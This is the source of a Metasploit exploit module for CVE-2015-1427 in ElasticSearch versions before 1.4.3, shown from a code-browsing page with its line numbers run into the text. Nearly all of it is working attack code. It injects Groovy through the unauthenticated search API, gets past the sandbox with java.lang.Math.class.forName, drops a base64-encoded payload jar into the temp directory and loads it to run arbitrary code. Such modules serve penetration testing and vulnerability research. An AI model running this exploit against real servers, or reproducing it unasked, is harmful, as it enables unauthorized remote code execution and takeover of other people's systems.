Path: blob/master/modules/exploits/multi/elasticsearch/search_groovy_script.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::FileDropper9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ElasticSearch Search Groovy Sandbox Bypass',16'Description' => %q{17This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,18exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the19REST API, which does not require authentication, where the search function allows20groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName21to reference arbitrary classes. It can be used to execute arbitrary Java code. This22module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.23},24'Author' => [25'Cameron Morris', # Vulnerability discovery26'Darren Martyn', # Public Exploit27'juan vazquez' # Metasploit module28],29'License' => MSF_LICENSE,30'References' => [31['CVE', '2015-1427'],32['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],33['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],34['URL', 'http://drops.wooyun.org/papers/5107']35],36'Platform' => 'java',37'Arch' => ARCH_JAVA,38'Targets' => [39['ElasticSearch 1.4.2', {}]40],41'DisclosureDate' => '2015-02-11',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53Opt::RPORT(9200),54OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])55]56)57end5859def check60result = Exploit::CheckCode::Safe6162if vulnerable?63result = Exploit::CheckCode::Vulnerable64end6566result67end6869def exploit70print_status("Checking vulnerability...")71unless vulnerable?72fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")73end7475print_status("Discovering TEMP path...")76res = execute(java_tmp_dir)77tmp_dir = parse_result(res)78if tmp_dir.nil?79fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")80else81print_good("TEMP path on '#{tmp_dir}'")82end8384print_status("Discovering remote OS...")85res = execute(java_os)86os = parse_result(res)87if os.nil?88fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")89else90print_good("Remote OS is '#{os}'")91end9293if os =~ /win/i94tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"95else96tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")97end9899register_files_for_cleanup(tmp_file)100101print_status("Trying to load metasploit payload...")102java = java_load_class(os, tmp_file)103execute(java)104end105106def vulnerable?107java = 'java.lang.Math.class.forName("java.lang.Runtime")'108109vprint_status("Trying to get a reference to java.lang.Runtime...")110res = execute(java)111result = parse_result(res)112113if result.nil?114vprint_status("no response to test")115return false116elsif result == 'class java.lang.Runtime'117return true118end119120false121end122123def parse_result(res)124unless res125vprint_error("No response")126return nil127end128129unless res.code == 200 && res.body130vprint_error("Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")131return nil132end133134begin135json = JSON.parse(res.body.to_s)136rescue JSON::ParserError137return nil138end139140begin141result = json['hits']['hits'][0]['fields']['msf_result']142rescue143return nil144end145146result.is_a?(::Array) ? result.first : result147end148149def java_tmp_dir150'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'151end152153def java_os154'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'155end156157def java_load_class(os, tmp_file)158if os =~ /win/i159tmp_file.gsub!(/\\/, '\\\\\\\\')160end161162java = [163'c=java.lang.Math.class.forName("java.io.FileOutputStream");',164'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',165"i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",166'b64_i=b64.newInstance();',167"i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",168'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',169'file_class=java.lang.Math.class.forName("java.io.File");',170"file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",171'loader=loader_class.newInstance();',172'loader.addURL(file_url);',173'm=loader.loadClass(\'metasploit.Payload\');',174'm.main(null);'175]176177java.join178end179180def execute(java, timeout = 20)181payload = {182"size" => 1,183"query" => {184"filtered" => {185"query" => {186"match_all" => {}187}188}189},190"script_fields" => {191"msf_result" => {192"script" => java,193"lang" => "groovy"194}195}196}197198res = send_request_cgi({199'uri' => normalize_uri(target_uri.path.to_s, "_search"),200'method' => 'POST',201'data' => JSON.generate(payload)202}, timeout)203204res205end206end207208209